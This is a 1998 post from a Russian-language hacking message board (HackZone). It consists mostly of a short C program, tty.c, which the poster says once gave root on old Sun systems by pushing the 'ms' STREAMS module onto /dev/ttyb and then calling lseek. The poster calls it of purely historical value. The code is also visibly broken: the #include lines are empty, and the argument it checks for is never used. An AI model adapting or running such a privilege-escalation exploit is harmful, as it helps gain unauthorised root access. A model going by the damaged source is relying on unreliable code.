login.c


[ Комментарии ] [ Добавить комментарий ] [ Доска объявлений HackZone ]

Отправитель: XR, May 12, 1998, 17:31:31:

В ответ на: login.c (отправитель: rex, May 12, 1998, 16:49:11):

про инвертацию имелось ввиду вот это
[---------- tty.c ----------]
#include
#include
#include
#include
#include
#include
#include

main(argc, argv)
int argc;
char* argv[];
{
int fd;

if (argc < 2)
{
fprintf(stderr, "usage: %s /dev/ttyX\n", argv[0]);
exit(1);
}

fd = open("/dev/ttyb", O_RDWR);
printf("Your current effective uid is %d\n", geteuid());
ioctl(fd, I_PUSH, "ms");
lseek(fd, 0, 1);
printf("Your effective uid has been changed to %d\n", geteuid());
}

[----- end -------]

так на старых Sunах можно было рута получить
(сырец имеет чисто историческую ценность =) )


Комментарии:


Цитировать сообщение


[ Комментарии ] [ Доска объявлений HackZone ]